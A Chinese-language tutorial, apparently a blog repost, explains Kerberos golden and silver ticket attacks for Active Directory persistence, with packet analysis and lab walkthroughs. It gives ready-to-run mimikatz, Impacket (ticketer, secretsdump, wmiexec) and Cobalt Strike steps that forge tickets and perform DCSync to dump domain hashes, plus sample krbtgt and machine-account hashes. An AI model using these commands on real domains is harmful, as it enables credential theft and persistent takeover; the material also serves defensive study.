0


域权限维持(黄金票据与白银票据)

文章目录

黄金票据

黄金票据是获取了域内krbtgt密钥值可以伪造任意域内账户,
是域内权限维持的常见手段之一,黄金票据是在Kerberos认证过程
的AS-REP阶段经过预认证后,KDC的认证服务返回的TGT中加密部分
的authorization-data是使用的krbtgt密钥加密的,authorization-datacun
存放着代表各个用户的PAC,并且在这个阶段PAC的PAC_SERVER_CHECKSUM签名
和PAC_PRIVSVR_CHECKSUM签名的密钥都是krbtgt密钥,krbtgt密钥生成高权限的
TGT票据这一过程是离线的不需要连接KDC,该利用属于票据传递攻击(PTT)。

黄金票据抓包分析

KDC的AS接收到客户端发来的AS-REQ后,AS从活动目录库中取出该用户密码,然后用该用户密钥
对请求包中预认证部分进行解密,如果解密成功,并且时间戳在有效时间之内,则说明请求者提供的
用户密钥正确。
AS-REP中的重要字段

在这里插入图片描述

ticket:认证权证票据其中ticket中enc-part是加密部分,这部分是使用krbtgt的密码Hash加密的,
因此如果我们拥有krbtgt的Hash就可以自己制作一个ticket,这就是黄金票据攻击的原理。
    TGT包含的内容:
    1.tkt-vno:版本号
    2.realm:域名
    3.sname:服务名
    4.en-part最重要的加密部分使用krbtgt账户的密钥加密,
    主要包括Logon Session Key、请求的用户名cname、域名crealm、认证时间authtime、
    认证到期时间endtime、authorization-data部分信息包含客户单身份等信息,这些信息包含在PAC中,
    PAC凭证信息部分PAC_LOGON_INFO主要是通过User RID和Group RID来辨别用户权限的。
    KDC生成PAC过程:
        KDC在收到客户端发过来的AS-REQ后,从请求中取出cname字段,然后查询活动目录数据库,
        找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC。
外层enc-part:其中Logon Session Key,这部分是用请求的用户密码Hash加密的,
作为下一阶段的认证密钥。
Logon Session Key:
    AS-REP包最外层的那部分便是加密的Logon Session Key,用户确保客户端和KDC下一个阶段的通信安全,
    使用请求用户的密钥加密。
    解密后包含如下内容:
    认证时间authtime、认证到期时间endtime、域名srealm、请求服务名sname、
    协商标志flags等信息,可以看到在AS-REP中存在了两个Logon Session Key,其中一个位于TGT中由
    krbtgt hash加密、另一个存在于外层enc-part中由AS-REQ中cname的用户名密钥Hash加密。
简述:TGT和加密的Logon Session Key,TGT部分是使用krbtgt密钥加密的,Long Session Key是使用用户密钥加密的。

黄金票据利用方式

黄金票据利用需要的参数内容如下:
    krbtgt hash:
        bdff817d8997011cb4405a615635143f
    域SID:
        wmic useraccount get name,sid

在这里插入图片描述

    S-1-5-21-3042504039-1145428418-1324677547
    域名:
        test.com
    伪造的用户名:
        administrator
下面介绍几种利用工具进行黄金票据
1.mimikatz
2.Impacket
3.CobaltStrike
利用过程:
1.mimikatz
    生成黄金票据并导入到内存中
    kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-3042504039-1145428418-1324677547 /krbtgt:bdff817d8997011cb4405a615635143f /ptt
    进行Dcsync
    lsadump::dcsync /domain:test.com /all /csv

在这里插入图片描述

2.Impacket
    制造黄金票据
    python3 ticketer.py -domain-sid S-1-5-21-3042504039-1145428418-1324677547 -nthash bdff817d8997011cb4405a615635143f -domain test.com administrator

在这里插入图片描述

    导入黄金票据
    export KRB5CCNAME=administrator.ccache
    使用进行ptt攻击导出域内administrator用户Hash
    proxychains python3 secretsdump.py -k -no-pass [email protected] -dc-ip 10.211.55.100 -just-dc-user administrator

在这里插入图片描述

3.CobaltStrike
    不需要过UAC机器使用CobaltStrike制作黄金票据,首先右键目标计算机选择Access下的Golden Ticket

在这里插入图片描述

伪造的user:administrator
域名:test.com
域SID:S-1-5-21-3042504039-1145428418-1324677547
Krbtgt hash:bdff817d8997011cb4405a615635143f

在这里插入图片描述

在这里插入图片描述

因为当前机器没有入域因此需要设置DNS服务器为域控设置命令如下:
    ipconfig        查询网卡

在这里插入图片描述

    需要过UAC才设置DNS服务器
    netsh interface ipv4 add dns name="本地连接" address=10.211.55.100 index=1

在这里插入图片描述

票据导入成功进行Dcsync

在这里插入图片描述

白银票据

白银票据是常见的域内权限维持手段之一只要拥有服务密钥就可以伪造白银票据,
白银票据也经常用于对目标的持续控制比如控制了域内的某台机器或者域控想要持久,
对该机器的控制只需要抓取目标机器账户hash制作cifs服务TGS票据就可以使用如psexec对
目标进行持久控制等。
白银票据是在Kerberos认证过程的TGS-REP阶段进行的利用,是利用了PAC_PRIVSVR_CHECKSUM签名
校验默认不开启,因此就算不能伪造签名也能使用该ST以高权限进行正常请求,需要注意到是假如开启了
PAC_PRIVSVR_CHECKSUM签名则KDC会校验签名导致白银票据失效。

白银票据数据包分析

KDC的TGS服务接收到TGS-REQ之后会进行如下操作,首先使用krbtgt密钥解密
TGT中的加密部分,得到Logon Session Key和PAC等信息,解密成功则说明该TGT是
KDC颁发的,然后验证PAC的签名,签名正确证明PAC未经过篡改,最后使用Logon Session
Key解密authenticator得到时间戳等信息,Logon Session Key解密authenticator得到时间戳
信息,如果能够解密成功,并且票据时间在有效范围,则验证了会话安全性,在完成上述检测后
KDC的TGS完成了对客户端的认证,TGS会发送回复包给客户端。
需要注意:
    TGS-REP中KDC并不会验证客户端是否有权限访问服务端,因此不管用户有没有访问
    服务的权限,只要TGT正确,均会返回ST。

在这里插入图片描述

ticket:即ST。
enc-part(ticket中的):这部分是服务的密钥加密的。            

在这里插入图片描述

enc-part(最外层的):
    这部分是用原始的Logon Session Key加密的,里面最重要的字段是Service Session Key,
    作为下一阶段的认证密钥。

在这里插入图片描述

TGS-REP包中最重要的就是ST和Service Session Key,ST中加密部分是使用服务密钥加密的,而
Service Session Key是使用Logon Session Key加密的。
ST:
    TGS-REP包中的ticket便是ST,ST中包含明文显示的信息,如版本号、tkt-vno、域名
    realm、请求的服务名sname、但是最终的还是加密部分,加密部分是使用服务密钥加密的,
    主要包含Server Session Key,请求的用户名cname、域名crealm、认证时间authtime、
    认证到期时间endtime、authorization-data等信息,其中authorization-data部分包含客户端的
    身份权限等信息,如果对authorization-data进行解密查看PAC的凭据信息部分PAC_LOGON_INFO,
    主要是通过User RID和Group RID来辨别用户权限的。
Service Session Key:
    即是最外层的enc-part部分使用原始的Logon Session Key加密,用于确保客户端和KDC下一阶段
    的通信安全,主要包含认证时间authtime、认证到期时间endtime、域名srealm、请求的服务名sname、
    协商标志flage等信息,在ST中也包含Service Session Key。
需要注意:
    如果开启了KDC验证PAC,那么白银票据攻击不会成功,白银票据攻击的前提是
    关闭了PAC_PRIVSVR_CHECKSUM签名认证,因为服务端会将这个PAC签名以KRB_VERIFY_PAC的消息
    通过RPC协议发给KDC,KDC验证这个PAC数字签名后结果以RPC返回码形式发给服务端,服务端根据
    返回结果判断PAC的真实性和有效性,就算攻击者拥有服务密钥,能够制作ST也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,
    也无法通过KDC校验。

白银票据利用方式

白银票据需要的参数如下:
目标服务密钥:
    域控机器账户Hash:80fb77c064532c6d041657a6d9997340
域SID:
    S-1-5-21-3042504039-1145428418-1324677547
域名:
    test.com
要伪造的用户(一般为高权限用户如果权限较低则无法访问服务):
    administrator
请求的服务:
    cifs/WIN-DC.test.com
介绍2中工具的利用方式
1.Impacket
2.mimikatz
利用方式(Impacket):
生成白银票据
    python3 ticketer.py -domain-sid S-1-5-21-3042504039-1145428418-1324677547 -nthash 80fb77c064532c6d041657a6d9997340 -spn cifs/WIN-DC.test.com -domain test.com administrator

在这里插入图片描述

导入白银票据
    export KRB5CCNAME=administrator.ccache
进行Dcsync导出administrator ntlm hash
    proxychains python3 secretsdump.py -k -no-pass [email protected] -dc-ip 10.211.55.100 -just-dc-user administrator

在这里插入图片描述

因为是cifs服务也可以使用如wmiexec进行PTT攻击登陆域控
proxychains python3 wmiexec.py -k -no-pass [email protected] -dc-ip 10.211.55.100

在这里插入图片描述

利用方式(mimikatz):
制作白银票据并导入到内存中:
    kerberos::golden /domain:test.com /sid:S-1-5-21-3042504039-1145428418-1324677547 /target:WIN-DC.test.com /service:ldap /rc4:80fb77c064532c6d041657a6d9997340 /user:administrator /ptt

在这里插入图片描述

进行Dcsync
    lsadump::dcsync /domain:test.com /user:krbtgt /csv

在这里插入图片描述

总结

黄金票据和白银票据通常被认为属于票据传递攻击(Pass-the-Ticket,简称PTT)的一种。
这是一种针对Windows身份验证系统的攻击,攻击者可以利用缺陷或弱点获取用户或系统
帐户的票据信息,然后将其用于进一步攻击或访问敏感资源本篇文章注意讲述了黄金票据
与白银票据的数据包分析以及如何进行PTT攻击,讲述了多种利用方式包括CS/mimikatz/Impacket等。        
黄金票据与白银票据的不同与相同
相同:
    都是属于Kerberos认证的利用方式。
    都属于PTT攻击(票据传递攻击)。
    两者都用来做后渗透的域权限维持手段。
不同:
    黄金票据:
        伪造高权限TGT访问任意服务。
        TGT由krbtgt hash加密
        黄金票据伪造TGT需要与KDC进行TGS通讯获取ST会在KDC上留下日志。
    白银票据:
        伪造高权限ST访问指定服务。
        ST由服务hash加密
        白银票据伪造ST可以不与KDC进行通信,直接访问服务因此不会在KDC上留下日志,
        只会在目标服务器上留下日志。

本文转载自: https://blog.csdn.net/qq_18811919/article/details/129645321
版权归原作者 虚构之人 所有, 如有侵权,请联系我们删除。

“域权限维持(黄金票据与白银票据)”的评论:

还没有评论